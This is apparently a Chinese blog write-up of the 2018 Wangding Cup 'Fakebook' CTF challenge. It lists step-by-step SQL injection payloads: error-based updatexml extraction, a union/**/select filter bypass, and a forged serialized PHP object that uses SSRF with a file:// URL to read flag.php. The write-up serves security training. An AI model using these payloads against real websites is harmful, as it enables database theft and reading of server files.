[网鼎杯 2018]Fakebook

本文详细记录了一次SQL注入攻击的过程,通过注册后的页面发现参数`no`存在注入漏洞,利用数字型注入确定数据库信息、表名及列名。通过XML报错注入获取了数据库名、表名、列名及数据,揭示了序列化对象并成功解码获取关键信息。最终,通过源码分析和绕过过滤完成数据提取。
摘要由CSDN通过智能技术生成

打开后有注册的地方我们就先注册一个

这是注册成功的页面

 

发现adimin点击后出现新的页面,主要关注这里传入一个参数no

 传入单引号报错,说明存在SQL注入

?no=1 and 1=1  // 没有变化
?no=1 and 1=2  // 出现报错

所以得知是数字型注入

继续查看表格列数,发现是四列

?no=1 order by 1#
?no=1 order by 2#
?no=1 order by 3#
?no=1 order by 4#
?no=1 order by 5#  // 报错

 查询显示位的时候发现

?no=0 union select 1,2,3,4#

 

猜测可能union或者select被过滤了,所以换一个方法吧,使用xml报错注入吧

?no=1 and updatexml(1,concat('~',database(),'~'),1)#

得到数据库名fakebook

?no=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) #

 得到表名users

?no=1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database()),'~'),1) #

得到四列no,username,passwd,data

查查各列内容是什么(因为其他没用,所以就不放下面了)

?no=1 and updatexml(1,concat('~',(select group_concat(data) from users),'~'),1) #

 

这明显是个序列化的对象,但是没有看见右大括号,所以并没有显示完

利用右查询

?no=1 and updatexml(1,concat('~',(select right(data,30) from users),'~'),1) #

 然后拼接,得到完整的O:8:"UserInfo":3:{s:4:"name";s:4:"blog";s:8:"aaa.blog";}

剩下的都是看的wp:

dirsearch查到/robots.txt,访问发现有备份users.php.bak(但是我用dir扫描并未发现)

 

访问user.php.bak,得到源码

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

修改上面的到的对象O:8:"UserInfo":3:{s:4:"name";s:4:"blog";s:29:"file:///var/www/html/flag.php";} (flag的位置我也不知道怎么找到的,难道我的dir有毛病?)

另外union被过滤可以用/**/来绕过

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

 然后base64解码就可以了

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值